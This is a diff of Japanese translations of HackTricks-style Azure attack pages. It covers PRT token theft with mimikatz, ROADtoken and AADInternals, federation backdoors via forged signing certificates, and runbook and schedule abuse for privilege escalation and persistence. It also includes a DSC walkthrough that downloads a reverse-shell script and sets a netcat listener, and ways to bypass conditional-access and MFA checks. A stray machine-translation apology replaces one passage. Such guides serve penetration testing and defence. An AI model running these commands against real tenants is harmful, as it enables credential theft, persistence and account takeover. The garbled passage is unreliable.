$URL = "https://login.microsoftonline.com/$TenantId/oauth2/token"
@@ -77,19 +77,19 @@ $Result.Nonce
AwABAAAAAAACAOz_BAD0_8vU8dH9Bb0ciqF_haudN2OkDdyluIE2zHStmEQdUVbiSUaQi_EdsWfi1 9-EKrlyme4TaOHIBG24v-FBV96nHNMgAA
```
[**roadrecon**](https://github.com/dirkjanm/ROADtools)を使用するか:
```powershell
```bash
roadrecon auth prt-init
```
その後、[**roadtoken**](https://github.com/dirkjanm/ROADtoken)を使用して新しいPRTを取得できます攻撃するユーザーのプロセスからツールを実行します
```powershell
次に、[**roadtoken**](https://github.com/dirkjanm/ROADtoken)を使用して新しいPRTを取得できます攻撃するユーザーのプロセスからツールを実行します
```bash
.\ROADtoken.exe <nonce>
```
申し訳ありませんが、具体的なテキストが提供されていないため、翻訳を行うことができません。翻訳が必要なテキストを提供してください。
```powershell
```bash
Invoke-Command - Session $ps_sess -ScriptBlock{C:\Users\Public\PsExec64.exe - accepteula -s "cmd.exe" " /c C:\Users\Public\SessionExecCommand.exe UserToImpersonate C:\Users\Public\ROADToken.exe AwABAAAAAAACAOz_BAD0__kdshsy61GF75SGhs_[...] > C:\Users\Public\PRT.txt"}
```
次に、**生成されたクッキー**を使用して、Azure AD **Graph**またはMicrosoft Graphを使用して**トークン**を**生成**し**ログイン**できます:
```powershell
次に、**生成されたクッキー**を使用して、Azure AD **Graph**またはMicrosoft Graphを使用して**トークン**を**生成**し**ログイン**できます:
```bash
# Generate
roadrecon auth --prt-cookie <prt_cookie>
@@ -101,7 +101,7 @@ Connect-AzureAD --AadAccessToken <token> --AccountId <acc_ind>
### 攻撃 - AADInternalsと漏洩したPRTの使用
`Get-AADIntUserPRTToken` **はユーザーのPRTトークンを取得します** Azure ADに参加したコンピュータまたはハイブリッド参加したコンピュータから。 `BrowserCore.exe`を使用してPRTトークンを取得します。
```powershell
```bash
# Get the PRToken
$prtToken = Get-AADIntUserPRTToken
@@ -109,7 +109,7 @@ $prtToken = Get-AADIntUserPRTToken
Get-AADIntAccessTokenForAADGraph -PRTToken $prtToken
```
Mimikatzからの値がある場合は、AADInternalsを使用してトークンを生成することもできます:
```powershell
```bash
# Mimikat "PRT" value
$MimikatzPRT="MC5BWU..."
@@ -136,7 +136,7 @@ $AT = Get-AADIntAccessTokenForAzureCoreManagement -PRTToken $prtToken
# Verify access and connect with Az. You can see account id in mimikatz prt output
Connect-AzAccount -AccessToken $AT -TenantID <tenant-id> -AccountId <acc-id>
```
[https://login.microsoftonline.com](https://login.microsoftonline.com) に移動し、login.microsoftonline.com のすべてのクッキーをクリアし、新しいクッキーを入力します。
[https://login.microsoftonline.com](https://login.microsoftonline.com) に移動し、login.microsoftonline.com のすべてのクッキーをクリアし、新しいクッキーを入力します。
```
Name: x-ms-RefreshTokenCredential
Value: [Paste your output from above]
@@ -146,27 +146,27 @@ HttpOnly: Set to True (checked)
次に、[https://portal.azure.com](https://portal.azure.com)に移動します。
> [!CAUTION]
> 残りはデフォルトのはずです。ページを更新でき、クッキーが消えないことを確認してください。消え場合は、間違いを犯した可能性があり、プロセスを再度行う必要があります。消えない場合は、問題ありません。
> 残りはデフォルトのはずです。ページを更新でき、クッキーが消えないことを確認してください。消え場合は、間違いを犯した可能性があり、プロセスを再度行う必要があります。消えない場合は、問題ありません。
### 攻撃 - Mimikatz
#### 手順
1. **PRTプライマリリフレッシュトークンがLSASS**(ローカルセキュリティオーソリティサブシステムサービス)から抽出され、後で使用するために保存されます。
2. **次にセッションキーが抽出されます**。このキーは最初に発行され、その後ローカルデバイスによって再暗号化されるため、DPAPIマスタキーを使用して復号化する必要があります。DPAPI(データ保護APIに関する詳細情報は、これらのリソースで確認できます[HackTricks](https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.html) およびその適用については、[Pass-the-cookie attack](az-pass-the-cookie.md)を参照してください。
3. セッションキーの復号化後、**PRTのための派生キーとコンテキストが取得されます**。これらは**PRTクッキーの作成に重要です**。具体的には、派生キーはクッキーを構成するJWTJSON Webトークン)に署名するために使用されます。このプロセスの詳細な説明は、Dirk-janによって提供されており、[こちら](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/)でアクセスできます。
1. **PRT (Primary Refresh Token) が LSASS** (Local Security Authority Subsystem Service) から抽出され、後で使用するために保存されます。
2. **次にセッションキーが抽出されます**。このキーは最初に発行され、その後ローカルデバイスによって再暗号化されるため、DPAPI マスタキーを使用して復号化する必要があります。DPAPI (Data Protection API) に関する詳細情報は、これらのリソースで確認できます: [HackTricks](https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.html) およびその適用については、[Pass-the-cookie attack](az-pass-the-cookie.md)を参照してください。
3. セッションキーの復号化後、**PRT のための派生キーとコンテキストが取得されます**。これらは**PRT クッキーの作成に重要です**。具体的には、派生キーはクッキーを構成する JWT (JSON Web Token) の署名に使用されます。このプロセスの詳細な説明は、Dirk-jan によって提供されており、[こちら](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/)でアクセスできます。
> [!CAUTION]
> PRTTPM内にあり、`lsass`内にない場合、**mimikatzはそれを抽出できません**。\
> ただし、TPMからのコンテキストから派生キーを取得し、それを使用して**クッキーに署名することは可能ですオプション3を確認してください)。**
> PRTTPM 内にあり、`lsass` 内にない場合、**mimikatz はそれを抽出できません**。\
> ただし、TPM からのコンテキストから派生キーを取得し、それを使用して**クッキーに署名することは可能です (オプション 3 を確認してください)**
これらの詳細を抽出するために実行されたプロセスの**詳細な説明**は、こちらで確認できます[**https://dirkjanm.io/digging-further-into-the-primary-refresh-token/**](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/)
これらの詳細を抽出するために実行されたプロセスの**詳細な説明**は、こちらで確認できます: [**https://dirkjanm.io/digging-further-into-the-primary-refresh-token/**](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/)
> [!WARNING]
> これは、2021年8月の修正後、他のユーザーのPRTトークンを取得するためには正確には機能しません。なぜなら、ユーザーのみが自分のPRTを取得できるからですローカル管理者は他のユーザーのPRTにアクセスできませんが、自分のPRTにはアクセスできます。
> これは、2021年8月の修正後、他のユーザーの PRT トークンを取得するためには正確には機能しません。なぜなら、ユーザーのみが自分の PRT を取得できるからです (ローカル管理者は他のユーザーの PRT にアクセスできませんが、自分の PRT にはアクセスできます)
**mimikatz**を使用してPRTを抽出できます
```powershell
**mimikatz** を使用して PRT を抽出できます:
```bash
mimikatz.exe
Privilege::debug
Sekurlsa::cloudap
@@ -220,7 +220,7 @@ HttpOnly: Set to True (checked)
- 次に [https://portal.azure.com](https://portal.azure.com) に移動します。
> [!CAUTION]
> 残りはデフォルトのままであるべきです。ページを更新でき、クッキーが消えないことを確認してください。消え場合は、間違いを犯した可能性があり、プロセスを再度行う必要があります。消えない場合は、問題ありません。
> 残りはデフォルトのままであるべきです。ページを更新でき、クッキーが消えないことを確認してください。消え場合は、間違いを犯した可能性があり、プロセスを再度行う必要があります。消えない場合は、問題ありません。
#### オプション 2 - PRTを使用したroadrecon

View File

@@ -2,6 +2,8 @@
{{#include ../../banners/hacktricks-training.md}}
テストを開始するには、**サブスクリプションに対するリーダー権限**を持つユーザーと、**AzureADのグローバルリーダー役割**へのアクセスが必要です。それでも**ストレージアカウントのコンテンツにアクセスできない**場合は、**ストレージアカウント貢献者の役割**で修正できます。
いくつかの Entra ID テナントのホワイトボックスハードニングレビューを開始するには、**各テナントの Global Reader ロール**を要求する必要があります。さらに、異なる Azure サブスクリプションのハードニングレビューを実施するには、**すべてのサブスクリプションに対する Reader 権限**が少なくとも必要です。
これらのロールが必要な情報にアクセスするには不十分な場合は、必要な権限を持つロールをクライアントに要求することもできます。ただし、**読み取り専用でない権限を要求する量を最小限に抑えるようにしてください!**
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -2,28 +2,28 @@
{{#include ../../../banners/hacktricks-training.md}}
### 不正な同意の付与
### Illicit Consent Grant
デフォルトでは、任意のユーザーがAzure ADにアプリケーションを登録できます。したがって、高い影響を持つ権限が必要なアプリケーション(ターゲットテナント専用)を登録できます。管理者の同意が必要です(管理者であれば承認できます) - 例えば、ユーザーの代理でメールを送信したり、役割管理を行ったりします。これにより、成功した場合に非常に**有益****フィッシング攻撃**を**実行**することができます。
デフォルトでは、任意のユーザーがAzure ADにアプリケーションを登録できます。したがって、高い影響力のある権限が必要なアプリケーション(ターゲットテナント専用)を登録できます。管理者の同意が必要です(管理者であれば承認できます) - 例えば、ユーザーの代理でメールを送信したり、役割管理を行ったりします。これにより、成功した場合に非常に**有益****フィッシング攻撃**を**実行**することができます。
さらに、あなたのユーザーとしてそのアプリケーションを受け入れることで、アクセスを維持する方法としても利用できます。
さらに、アクセスを維持する手段として、ユーザーとしてそのアプリケーションを受け入れることできます。
### アプリケーションとサービスプリンシパル
### Applications and Service Principals
Application Administrator、GA、またはmicrosoft.directory/applications/credentials/update権限を持つカスタムロールの特権を持つことで、既存のアプリケーションに資格情報(シークレットまたは証明書)を追加できます。
Application Administrator、GA、またはmicrosoft.directory/applications/credentials/update権限を持つカスタムロールの特権を持つ場合、既存のアプリケーションに資格情報(シークレットまたは証明書)を追加できます。
**高い権限を持つアプリケーションをターゲットにする**ことも、**高い権限を持つ新しいアプリケーションを追加する**ことも可能です。
アプリケーションに追加するのに興味深い役割は、**特権認証管理者ロール**です。これ、グローバル管理者の**パスワードをリセット**することを可能にします。
アプリケーションに追加するのに興味深い役割は、**特権認証管理者ロール**です。これにより、グローバル管理者の**パスワードをリセット**することができます。
この技術はまた、**MFAをバイパス**すること可能にします。
```powershell
この技術はまた、**MFAをバイパス**すること可能す。
```bash
$passwd = ConvertTo-SecureString "J~Q~QMt_qe4uDzg53MDD_jrj_Q3P.changed" -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential("311bf843-cc8b-459c-be24-6ed908458623", $passwd)
Connect-AzAccount -ServicePrincipal -Credential $credentials -Tenant e12984235-1035-452e-bd32-ab4d72639a
```
- 証明書ベースの認証の場合
```powershell
- 証明書ベースの認証のために
```bash
Connect-AzAccount -ServicePrincipal -Tenant <TenantId> -CertificateThumbprint <Thumbprint> -ApplicationId <ApplicationId>
```
### Federation - Token Signing Certificate
@@ -31,17 +31,17 @@ Connect-AzAccount -ServicePrincipal -Tenant <TenantId> -CertificateThumbprint <T
**DA権限**を持つオンプレミスADでは、非常に長い有効期限を持つ**新しいトークン署名**および**トークン復号化証明書**を作成およびインポートすることが可能です。これにより、**ImmutableID**を知っている任意のユーザーとして**ログイン**することができます。
**以下のコマンドを** **ADFSサーバーでDAとして**実行して、新しい証明書を作成し(デフォルトのパスワードは'AADInternals'、それらをADFSに追加し、自動ロールオーバーを無効にし、サービスを再起動します
```powershell
```bash
New-AADIntADFSSelfSignedCertificates
```
次に、Azure ADで証明書情報を更新します:
```powershell
```bash
Update-AADIntADFSFederationSettings -Domain cyberranges.io
```
### Federation - Trusted Domain
テナントにGA権限がある場合、**新しいドメインを追加**することが可能です確認が必要です、その認証タイプをFederatedに設定し、ドメインを**特定の証明書**以下のコマンドのany.stsおよび発行者を**信頼**するように設定します:
```powershell
テナントにGA権限がある場合、新しいドメインを**追加する**ことが可能です確認が必要です、その認証タイプをFederatedに設定し、ドメインを**特定の証明書**以下のコマンドのany.stsおよび発行者を信頼するように設定します:
```bash
# Using AADInternals
ConvertTo-AADIntBackdoor -DomainName cyberranges.io

View File

@@ -12,12 +12,12 @@
### Hybrid Workers Group
攻撃者がハイブリッドワーカーで任意のランブック(任意のコード)を実行できる場合、彼は**VMの場所にピボットします**。これはオンプレミスのマシン、別のクラウドのVPC、またはAzure VMである可能性があります。
攻撃者がハイブリッドワーカーで任意のランブック(任意のコード)を実行できる場合、彼は**VMの場所にピボットします**。これはオンプレミスのマシン、異なるクラウドのVPC、またはAzure VMである可能性があります。
さらに、ハイブリッドワーカーがAzureで他のマネージドアイデンティティと共に実行されている場合、ランブックは**ランブックのマネージドアイデンティティとVMのメタデータサービスからのすべてのマネージドアイデンティティにアクセスできる**ようになります。
> [!TIP]
> **メタデータサービス**は、オートメーションアカウントのマネージドアイデンティティトークンを取得するサービスとは異なるURL**`http://169.254.169.254`**を持っていることを覚えておいてください(**`IDENTITY_ENDPOINT`**)。
> **メタデータサービス**のURLは、オートメーションアカウントのマネージドアイデンティティトークンを取得するサービスとは異なるURL**`http://169.254.169.254`**であることを忘れないでください(**`IDENTITY_ENDPOINT`**)。
### `Microsoft.Automation/automationAccounts/jobs/write`, `Microsoft.Automation/automationAccounts/runbooks/draft/write`, `Microsoft.Automation/automationAccounts/jobs/output/read`, `Microsoft.Automation/automationAccounts/runbooks/publish/action` (`Microsoft.Resources/subscriptions/resourcegroups/read`, `Microsoft.Automation/automationAccounts/runbooks/write`)
@@ -58,13 +58,13 @@ az automation runbook start \
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/jobs/<job-name>/output?api-version=2023-11-01"
```
Runbookが作成されていない場合、または新しいRunbookを作成したい場合は、次の操作を行うために**permissions `Microsoft.Resources/subscriptions/resourcegroups/read``Microsoft.Automation/automationAccounts/runbooks/write`**が必要です:
Runbookが作成されていない場合、または新しいものを作成したい場合は、次の操作を行うために**permissions `Microsoft.Resources/subscriptions/resourcegroups/read``Microsoft.Automation/automationAccounts/runbooks/write`**が必要です
```bash
az automation runbook create --automation-account-name <account-name> --resource-group <res-group> --name <runbook-name> --type PowerShell
```
### `Microsoft.Automation/automationAccounts/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
この権限は、ユーザーが次の方法でAutomation Accountに**ユーザー管理のアイデンティティ**を割り当てることを許可します
この権限は、ユーザーが次の方法でAutomation Accountに**ユーザー管理のアイデンティティ**を割り当てることを許可します:
```bash
az rest --method PATCH \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>?api-version=2020-01-13-preview" \
@@ -82,7 +82,7 @@ az rest --method PATCH \
権限 **`Microsoft.Automation/automationAccounts/schedules/write`** を使用すると、以下のコマンドを使用して、15分ごとに実行される新しいスケジュールをAutomation Accountに作成することができますあまりステルスではありません
スケジュールの**最小間隔は15分**であり、**最小開始時間は5分**先で
スケジュールの**最小間隔は15分**であり、**最小開始時間は5分**先であることに注意してください
```bash
## For linux
az automation schedule create \
@@ -104,7 +104,7 @@ az automation schedule create \
--frequency Minute \
--interval 15
```
次に、**`Microsoft.Automation/automationAccounts/jobSchedules/write`** の権限を持つことで、次のようにしてランブックにスケジューラを割り当てることができます:
その後、**`Microsoft.Automation/automationAccounts/jobSchedules/write`** の権限を持つことで、次のようにしてランブックにスケジューラを割り当てることができます:
```bash
az rest --method PUT \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-accounts>/jobSchedules/b510808a-8fdc-4509-a115-12cfc3a2ad0d?api-version=2015-10-31" \
@@ -194,7 +194,7 @@ az automation source-control create \
--token-type PersonalAccessToken \
--access-token github_pat_11AEDCVZ<rest-of-the-token>
```
の操作により、Githubリポジトリから自動的にランブックがAutomation Accountにインポートされ、他の権限を持ってそれらを実行し始めることができれば、**権限を昇格させることが可能**です。
により、GithubリポジトリからAutomation Accountにランブックが自動的にインポートされ、いくつかの他の権限を持ってそれらを実行し始めることができれば、**権限を昇格させることが可能**です。
さらに、Automation Accountsでソース管理が機能するためには、**`Contributor`**の役割を持つマネージドアイデンティティが必要であり、ユーザーマネージドアイデンティティの場合は、MIのクライアントIDを変数**`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`**に指定する必要があります。
@@ -203,7 +203,7 @@ az automation source-control create \
### `Microsoft.Automation/automationAccounts/variables/write`
権限**`Microsoft.Automation/automationAccounts/variables/write`**を持つことで、次のコマンドを使用してAutomation Accountに変数を書き込むことが可能です。
権限**`Microsoft.Automation/automationAccounts/variables/write`**を使用すると、次のコマンドを使用してAutomation Accountに変数を書き込むことができます。
```bash
az rest --method PUT \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/variables/<variable-name>?api-version=2019-06-01" \
@@ -223,7 +223,7 @@ az rest --method PUT \
### 状態構成の妥協
**完全な投稿を確認するには:** [**https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe**](https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe)
**完全な投稿を確認してください:** [**https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe**](https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe)
- ステップ 1 — ファイルの作成
@@ -236,13 +236,13 @@ az rest --method PUT \
- ステップ 2 — 構成ファイルを圧縮
`reverse_shell_config.ps1``.zip`ファイルに圧縮され、Azure Storage Accountへの転送の準備が整います。
```powershell
```bash
Compress-Archive -Path .\reverse_shell_config.ps1 -DestinationPath .\reverse_shell_config.ps1.zip
```
- ステップ 3 — ストレージコンテキストの設定とアップロード
圧縮された構成ファイルは、AzureのSet-AzStorageBlobContent cmdletを使用して、事前定義されたAzure Storageコンテナazure-pentestにアップロードされます。
```powershell
```bash
Set-AzStorageBlobContent -File "reverse_shell_config.ps1.zip" -Container "azure-pentest" -Blob "reverse_shell_config.ps1.zip" -Context $ctx
```
- ステップ 4 — Kali ボックスの準備
@@ -257,7 +257,7 @@ wget https://raw.githubusercontent.com/nickpupp0/AzureDSCAbuse/master/RevPS.ps1
構成ファイルが実行され、リバースシェルスクリプトがWindows VMの指定された場所にデプロイされます。
- ステップ 6 — ペイロードのホスとリスナーの設定
- ステップ 6 — ペイロードのホスティングとリスナーの設定
PythonのSimpleHTTPServerがペイロードをホストするために起動され、Netcatリスナーが着信接続をキャプチャします。
```bash

View File

@@ -4,88 +4,88 @@
## 基本情報
Azure Conditional Access ポリシーは、特定の **条件** に基づいて Azure サービスおよびアプリケーションへのアクセス制御を強制するために Microsoft Azure設定されたルールです。これらのポリシーは、適切な状況下で適切なアクセス制御を適用することにより、組織がリソースを保護するのに役立ちます。\
Conditional access policies は基本的に **誰が** **何に** **どこから** **どのように** アクセスできるかを **定義** します。
Azure Conditional Accessポリシーは、特定の**条件**に基づいてAzureサービスアプリケーションへのアクセス制御を強制するためにMicrosoft Azure設定されたルールです。これらのポリシーは、適切な状況下で適切なアクセス制御を適用することにより、組織がリソースを保護するのに役立ちます。\
Conditional accessポリシーは基本的に**誰が**、**何に**、**どこから**、**どのように**アクセスできるかを**定義**します。
いくつかの例を挙げます:
1. **サインインリスクポリシー**: このポリシーは、サインインリスクが検出された場合に多要素認証 (MFA) を要求するように設定できます。たとえば、ユーザーのログイン行動が通常のパターンと異なる場合、たとえば異なる国からログインしている場合、システムは追加の認証を求めることができます。
2. **デバイスコンプライアンスポリシー**: このポリシーは、組織のセキュリティ基準に準拠しているデバイスのみが Azure サービスにアクセスできるように制限できます。たとえば、最新のウイルス対策ソフトウェアがインストールされているデバイスや特定のオペレーティングシステムバージョンを実行しているデバイスからのみアクセスを許可することができます。
1. **サインインリスクポリシー**このポリシーは、サインインリスクが検出された場合に多要素認証MFAを要求するように設定できます。たとえば、ユーザーのログイン行動が通常のパターンと異なる場合、たとえば異なる国からログインしている場合、システムは追加の認証を求めることができます。
2. **デバイスコンプライアンスポリシー**このポリシーは、組織のセキュリティ基準に準拠しているデバイスのみがAzureサービスにアクセスできるように制限できます。たとえば、最新のウイルス対策ソフトウェアがインストールされているデバイスや特定のオペレーティングシステムバージョンを実行しているデバイスからのみアクセスを許可することができます。
## Conditional Access Policies Bypasses
## Conditional Accessポリシーのバイパス
条件付きアクセス ポリシーが **簡単に改ざんできる情報をチェックしている可能性があり、ポリシーバイパスできる** ことがあります。たとえば、ポリシーが MFA を設定している場合、攻撃者はそれをバイパスできるでしょう。
Conditional accessポリシーが**簡単に改ざんできる情報をチェックしている可能性があり、ポリシーバイパスが可能です**。たとえば、ポリシーがMFAを設定している場合、攻撃者はそれをバイパスできるでしょう。
条件付きアクセス ポリシーを設定する際には、**影響を受けるユーザー****ターゲットリソース** (すべてのクラウドアプリなど) を指定する必要があります。
Conditional accessポリシーを設定する際には、**影響を受けるユーザー****ターゲットリソース**すべてのクラウドアプリなどを指定する必要があります。
また、ポリシーを **トリガー** する **条件** を設定する必要があります:
また、ポリシーを**トリガー**する**条件**を設定する必要があります:
- **ネットワーク**: IP、IP 範囲、地理的位置
- VPN またはプロキシを使用して許可された IP アドレスからログインすることでバイパス可能
- **Microsoft リスク**: ユーザーリスク、サインインリスク、内部者リスク
- **デバイスプラットフォーム**: 任意のデバイスまたは Android、iOS、Windows Phone、Windows、macOS、Linux を選択
- 「任意のデバイス」が選択されていないが他のすべてのオプションが選択されている場合、これらのプラットフォームに関連しないランダムなユーザーエージェントを使用してバイパス可能
- **クライアントアプリ**: オプションは「ブラウザ」、「モバイルアプリとデスクトップクライアント」、「Exchange ActiveSync クライアント」、「その他のクライアント」
- **ネットワーク**IP、IP範囲、地理的位置
- VPNプロキシを使用して許可されたIPアドレスからログインすることでバイパス可能
- **Microsoftリスク**ユーザーリスク、サインインリスク、内部者リスク
- **デバイスプラットフォーム**任意のデバイスまたはAndroid、iOS、Windows Phone、Windows、macOS、Linuxを選択
- 「任意のデバイス」が選択されていないが他のすべてのオプションが選択されている場合、これらのプラットフォームに関連しないランダムなユーザーエージェントを使用してバイパス可能
- **クライアントアプリ**オプションは「ブラウザ」、「モバイルアプリとデスクトップクライアント」、「Exchange ActiveSyncクライアント」、「その他のクライアント」
- 選択されていないオプションでログインをバイパスする
- **デバイスのフィルタ**: 使用されるデバイスに関連するルールを生成可能
- **認証フロー**: オプションは「デバイスコードフロー」と「認証転送」
- これは、攻撃者がフィッシング攻撃で被害者のアカウントにアクセスしようとしない限り、影響を与えません
- **デバイスのフィルタ**使用されるデバイスに関連するルールを生成可能
- **認証フロー**オプションは「デバイスコードフロー」と「認証転送」
- これは、攻撃者がフィッシング試行で被害者のアカウントにアクセスしようとしない限り、影響を与えません
可能な **結果** は次のとおりですブロックまたはアクセスを許可し、MFA を要求する、デバイスが準拠している必要があるなどの条件が付くことがあります…
可能な**結果**はブロックまたはアクセスを許可し、MFAを要求する、デバイスが準拠している必要があるなどの条件が付くことがあります…
### デバイスプラットフォーム - デバイス条件
**デバイスプラットフォーム** (Android、iOS、Windows、macOS...) に基づいて条件を設定することが可能ですが、これは **ユーザーエージェント** に基づいているため、バイパスが容易です。すべてのオプションで MFA を強制しても、**認識されないユーザーエージェントを使用すれば、** MFA またはブロックをバイパスできます:
**デバイスプラットフォーム**Android、iOS、Windows、macOSなど)に基づいて条件を設定することが可能ですが、これは**ユーザーエージェント**に基づいているため、バイパスが容易です。すべてのオプションでMFAを強制しても、**認識されないユーザーエージェント**を使用すれば、MFAまたはブロックをバイパスできます
<figure><img src="../../../../images/image (352).png" alt=""><figcaption></figcaption></figure>
ブラウザに **不明なユーザーエージェント** (例: `Mozilla/5.0 (compatible; MSIE 10.0; Windows Phone 8.0; Trident/6.0; IEMobile/10.0; ARM; Touch; NOKIA; Lumia 920) UCBrowser/10.1.0.563 Mobile`) を送信させるだけで、この条件をトリガーしないようにできます。\
開発者ツールでユーザーエージェントを **手動で** 変更できます:
ブラウザに**不明なユーザーエージェント**(例:`Mozilla/5.0 (compatible; MSIE 10.0; Windows Phone 8.0; Trident/6.0; IEMobile/10.0; ARM; Touch; NOKIA; Lumia 920) UCBrowser/10.1.0.563 Mobile`を送信させるだけで、この条件をトリガーしないようにできます。\
開発者ツールでユーザーエージェントを**手動で**変更できます:
<figure><img src="../../../../images/image (351).png" alt="" width="375"><figcaption></figcaption></figure>
または、[このようなブラウザ拡張機能](https://chromewebstore.google.com/detail/user-agent-switcher-and-m/bhchdcejhohfmigjafbampogmaanbfkg?hl=en)を使用できます。
### ロケーション: 国、IP 範囲 - デバイス条件
### ロケーション国、IP範囲 - デバイス条件
これが条件付きポリシーに設定されている場合、攻撃者は **許可された国****VPN** を使用するか、**許可された IP アドレス** からアクセスする方法を見つけることで、これらの条件をバイパスできます。
これが条件付きポリシーに設定されている場合、攻撃者は**許可された国**で**VPN**を使用するか、**許可されたIPアドレス**からアクセスする方法を見つけることで、これらの条件をバイパスできます。
### クラウドアプリ
特定のアプリにアクセスしようとするユーザーに対して、MFA をブロックまたは強制するように **条件付きアクセス ポリシーを設定することが可能です**
特定のアプリにアクセスしようとするユーザーに対して、MFAをブロックまたは強制する**条件付きアクセスポリシーを設定することが可能です**
<figure><img src="../../../../images/image (353).png" alt=""><figcaption></figcaption></figure>
この保護をバイパスしようとする場合、**任意のアプリケーションにのみログインできるかどうかを確認する必要があります**。\
ツール [**AzureAppsSweep**](https://github.com/carlospolop/AzureAppsSweep)**ハードコーディングされた数十のアプリケーション ID** を持ち、それらにログインしようとし、成功した場合はトークンを提供します。
この保護をバイパスしようとする場合、**任意のアプリケーションにのみログインできるかどうか**を確認する必要があります。\
ツール[**AzureAppsSweep**](https://github.com/carlospolop/AzureAppsSweep)は、**ハードコーディングされた数十のアプリケーションID**を持ち、それらにログインしようとし、成功した場合はトークンを提供します。
特定のリソース内の **特定のアプリケーション ID をテストするために**、次のようなツールを使用することもできます:
特定のリソース内の**特定のアプリケーションIDをテストする**ために、次のようなツールを使用することもできます:
```bash
roadrecon auth -u user@email.com -r https://outlook.office.com/ -c 1fec8e78-bce4-4aaf-ab1b-5451cc387264 --tokens-stdout
<token>
```
さらに、ログイン方法を保護することも可能です(例えば、ブラウザからまたはデスクトップアプリケーションからログインしようとしている場合)。ツール [**Invoke-MFASweep**](az-conditional-access-policies-mfa-bypass.md#invoke-mfasweep) は、この保護をバイパスしようとするいくつかのチェックを実行します。
さらに、ログイン方法を保護することも可能です(例えば、ブラウザからログインしようとしている場合やデスクトップアプリケーションから場合)。ツール[**Invoke-MFASweep**](az-conditional-access-policies-mfa-bypass.md#invoke-mfasweep)は、この保護をバイパスしようとするいくつかのチェックを実行します。
ツール [**donkeytoken**](az-conditional-access-policies-mfa-bypass.md#donkeytoken) も同様の目的で使用される可能性がありますが、メンテナンスされていないようです。
ツール[**donkeytoken**](az-conditional-access-policies-mfa-bypass.md#donkeytoken)も同様の目的で使用される可能性がありますが、メンテナンスされていないようです。
ツール [**ROPCI**](https://github.com/wunderwuzzi23/ropci) もこの保護をテストし、MFAやブロックをバイパスできるかどうかを確認するために使用できますが、このツールは**ホワイトボックス**の視点から動作します。最初にテナントで許可されているアプリのリストをダウンロードし、その後それらにログインしようとします。
ツール[**ROPCI**](https://github.com/wunderwuzzi23/ropci)もこの保護をテストし、MFAやブロックをバイパスできるかどうかを確認するために使用できますが、このツールは**ホワイトボックス**の視点から動作します。最初にテナントで許可されているアプリのリストをダウンロードし、その後それらにログインしようとします。
## その他のAz MFAバイパス
### 着信音
Azure MFAのオプションの1つは、**設定された電話番号に電話を受ける**ことで、ユーザーに**文字 `#` を送信するように求められます**。
Azure MFAのオプションの1つは、**設定された電話番号に電話を受ける**ことで、ユーザーに**文字`#`を送信するように求められます**。
> [!CAUTION]
> 文字は単なる**トーン**であるため、攻撃者は**ボイスメール**メッセージを妥協し、メッセージとして**`#` のトーン**を設定し、その後MFAを要求する際に**被害者の電話が通話中であることを確認**することで、Azureの通話がボイスメールにリダイレクトされるようにすることができます。
> 文字は単なる**トーン**であるため、攻撃者は**ボイスメール**メッセージを電話番号のメッセージとして**妥協**し、メッセージとして**`#`のトーン**を設定し、MFAを要求する際に**被害者の電話が通話中であることを確認**することで、Azureの通話がボイスメールにリダイレクトされるようにすることができます。
### 準拠デバイス
ポリシーはしばしば準拠デバイスまたはMFAを要求するため、**攻撃者は準拠デバイスを登録し**、**PRT**トークンを取得し、**この方法でMFAをバイパスすることができます**
ポリシーはしばしば準拠デバイスまたはMFAを要求するため、**攻撃者は準拠デバイスを登録し**、**PRT**トークンを取得し、**この方法でMFAをバイパスする**ことができます。
まず、**Intuneに準拠デバイスを登録**し、その後**PRTを取得**します:
```powershell
まず、**Intuneに準拠デバイスを登録**し、次に**PRTを取得**します:
```bash
$prtKeys = Get-AADIntuneUserPRTKeys - PfxFileName .\<uuid>.pfx -Credentials $credentials
$prtToken = New-AADIntUserPRTToken -Settings $prtKeys -GertNonce
@@ -104,9 +104,9 @@ Get-AADIntAccessTokenForAADGraph -PRTToken $prtToken
### [**AzureAppsSweep**](https://github.com/carlospolop/AzureAppsSweep)
このスクリプトは、いくつかのユーザー資格情報を取得し、いくつかのアプリケーションにログインできるかどうかを確認します。
このスクリプトはユーザー資格情報を取得し、いくつかのアプリケーションにログインできるかどうかを確認します。
これは、後で**特権を昇格させるために悪用する可能性のあるアプリケーションにログインするためにMFAが**必要ないかどうかを確認するのに役立ちます。
これは、後で**特権を昇格させるために悪用する可能性のあるアプリケーションにログインするにMFAが**必要ないかどうかを確認するのに役立ちます。
### [roadrecon](https://github.com/dirkjanm/ROADtools)
@@ -116,7 +116,7 @@ roadrecon plugin policies
```
### [Invoke-MFASweep](https://github.com/dafthack/MFASweep)
MFASweepは、**提供された資格情報を使用してさまざまなMicrosoftサービスにログインし、MFAが有効かどうかを特定しようとするPowerShellスクリプトです**。条件付きアクセス ポリシーやその他の多要素認証設定がどのように構成されているかによって、一部のプロトコルは単一要素のまま残る可能性があります。また、ADFS構成の追加チェックがあり、検出された場合はオンプレミスのADFSサーバーにログインしようとすることもできます。
